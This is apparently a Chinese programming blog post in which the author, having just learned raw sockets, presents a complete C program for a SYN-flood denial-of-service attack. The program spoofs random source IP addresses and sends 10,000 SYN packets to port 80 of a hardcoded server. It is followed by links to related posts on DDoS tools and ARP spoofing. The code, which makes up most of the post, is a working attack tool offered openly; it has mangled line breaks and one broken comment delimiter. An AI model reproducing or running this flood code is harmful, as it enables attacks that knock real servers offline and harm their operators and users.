Linux下的Dos攻击程序

原创 2007年10月04日 14:08:00

     今天学习了Unix/Linux网络编程的原始套接字,并完成了一个DoS(拒绝服务攻击)程序。该程序向HTTP服务器发送大量建立连接的的请求,但是不发送ack报文,从而可以使服务器产生大量半连接。在半连接超时之前,服务器不堪重负而停止响应其它请求。当多台机器同时参与攻击时候,就办成DDoS攻击(分布式拒绝服务攻击)。

    编写原始套接字需要了解报文结构,下面这个链接http://blog.chinaunix.net/u/28949/showart_251762.html可以查看ip包和tcp包的结构。

 

#include <stdio.h>
#include 
<sys/socket.h>
#include 
<netinet/in.h>
#include 
<netinet/ip.h>
#include 
<netinet/tcp.h>
#include 
<stdlib.h>
#include 
<errno.h>
#include 
<netdb.h>

#define DES_PORT 80 /*欲攻击的端口为80,即HTTP端口 */
#define LOCAL_PORT 8888/*使用的本地端口*/

void send_tcp(int,struct sockaddr_in *);
int main()
{
   
int sockfd;
   
int on=1;
   
struct sockaddr_in serveraddr;
   bzero(
&serveraddr,sizeof(struct sockaddr_in));/*结构清零*/
   serveraddr.sin_family
=AF_INET;/*针对Internet*/
   serveraddr.sin_port
=htons(DES_PORT);/*转换*/
   
/*欲攻击服务器IP为192.168.3.55*/
   
if(inet_pton(AF_INET,"192.168.3.55",&serveraddr.sin_addr)!=1)
   
{
      printf(
"wrong in inet_pthon ");
      exit(
1);
   }

   
/*建立原始套接字*/
   sockfd
=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
   
if(sockfd<0)
   
{
      fprintf(stderr,
"wrong in establish socket%s ",hstrerror(h_errno));
      exit(
1);
   }

   
/*设定套接字选项,表明IP头部自己填写*/
   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,
&on,sizeof(on));
   setuid(getpid());
/*由于原始套接字只能由root产生*/
   send_tcp(sockfd,
&serveraddr);/*产生并发送报文*/
}


void send_tcp(int sockfd,struct sockaddr_in * serveraddr)
{
   
char buffer[100];/*报文填写在buffer中*/
   
struct ip *myip;/*指向IP头部结构的指针*/
   
struct tcphdr *mytcp;/*指向TCP头部结构的指针*/
   
int headerlen,i;
   bzero(buffer,
sizeof(buffer));
   
/*TCP+IP头部长度,由于数据长度为0,这实际也是整个包的长度*/
   headerlen
=sizeof(struct ip)+sizeof(struct tcphdr);/*这里为40*/
   myip
=(struct ip*)buffer;/*注意这种用法*/
   myip
->ip_v=IPVERSION;/*版本为IPV4*/
   
/*该字段表示头部长度,一个单位表示4个字节,所以要除以4*/
   myip
->ip_hl=sizeof(struct ip)>>2;/*20除以4等于5*/
   myip
->ip_tos=0;
   myip
->ip_len=htons(headerlen);/*数据包总长度,这为40*/
   myip
->ip_id=0;/系统自己填写*/
   myip
->ip_off=0;
   myip
->ip_ttl=MAXTTL;/*TTL最大为255*/
   myip
->ip_p=IPPROTO_TCP;/*采用TCP协议*/
   myip
->ip_sum=0;/*校验和由系统完成*/
   myip
->ip_dst=serveraddr->sin_addr;/*欲攻击服务器地址*/  
   
/***********以下构造TCP头部***********/
   mytcp
=(struct tcphdr*)(buffer+sizeof(struct ip));/*注意这种写法,接在IP头部后填充TCP*/
   mytcp
->source=htons(LOCAL_PORT);/*本地端口*/
   mytcp
->dest=serveraddr->sin_port;/*目的端口*/
   mytcp
->seq=random();/*随机产生任意值*/ 
   mytcp
->ack_seq=0;
   mytcp
->doff=sizeof(struct tcphdr)>>2;/*TCP头部长度,道理同IP*/
   mytcp
->syn=1;/*表明这是TCP三次握手的第一步,需要设SYN=1和SEQ为任意值*/
   mytcp
->check=0;
  
/**********连续发送10000个请求连接报文*************/
   
for(i=0;i<10000;i++)
   
{
        myip
->ip_src.s_addr=random();/*源地址随机产生,从而隐藏自己*/
        
/*发送*/
        sendto(sockfd,buffer,headerlen,
0,(struct sockaddr*)serveraddr,sizeof(struct sockaddr_in));
   }
   
}

 

用Ethereal截包,截图如下

Linux 系统下 DDOS 工具 tfn2k 攻击原理详解

Linux 系统下 DDOS 工具 tfn2k 攻击原理详解,Linux 系统 DDOS 工具 tfn2k 攻击原理详解,Linux DDOS 工具 tfn2k 攻击原理,Linux DDOS 工具 ...
  • gold0523
  • gold0523
  • 2014年04月23日 10:16
  • 2928

kali linux进行arp欺骗和dos攻击

Wireshark的arp欺骗: (1)Wireshark arp数据包分析:http://www.icharm.me/【wireshark】arp数据包分析.html (2)Wireshar...
  • sriting
  • sriting
  • 2016年04月28日 02:27
  • 2063

shell实例浅谈之五解决网络中DOS攻击的方法

一、问题       写 二、解决 1、shell脚本 利用管道组成的一条命令: #查找文本中n个出现频率最高的单词 #!/bin/bash count=$1 ...
  • taiyang1987912
  • taiyang1987912
  • 2014年10月13日 12:29
  • 1691

dos攻击

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。 D...
  • mengyin521
  • mengyin521
  • 2016年03月05日 23:51
  • 1481

基于winpcap和syn的dos攻击,亲测

网上这样的帖子很多,但有几个问题一直没解决。 1、在计算TCP报头的校验和时应该还有伪报头,很多人都没有。 2、在封装以太网数据包时需要用到目的地址的mac地址,由于很多人是在虚拟机上测,目的mac也...
  • zhang1990214
  • zhang1990214
  • 2015年04月21日 14:02
  • 1370

python版本DDOS攻击脚本

今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。 附上源码pyDdos.py: #!/usr/bin/env ...
  • jeepxiaozi
  • jeepxiaozi
  • 2013年04月14日 13:36
  • 15758

Linux 系统下 DDOS 工具 tfn2k 攻击原理详解

Linux 系统下 DDOS 工具 tfn2k 攻击原理详解,Linux 系统 DDOS 工具 tfn2k 攻击原理详解,Linux DDOS 工具 tfn2k 攻击原理,Linux DDOS 工具 ...
  • gold0523
  • gold0523
  • 2014年04月23日 10:16
  • 2928

Linux下的Dos攻击程序

今天学习了Unix/Linux网络编程的原始套接字,并完成了一个DoS(拒绝服务攻击)程序。该程序向HTTP服务器发送大量建立连接的的请求,但是不发送ack报文,从而可以使服务器产生大量半连接。在半连...
  • tian_110
  • tian_110
  • 2015年01月13日 22:03
  • 257

linux下dos转unix

  • 2014年01月01日 09:12
  • 66KB
  • 下载

Linux下网络检测与通讯命令netcat、curl的Windows/DOS版

  • 2017年12月11日 09:31
  • 287KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Linux下的Dos攻击程序
举报原因:
原因补充:

(最多只允许输入30个字)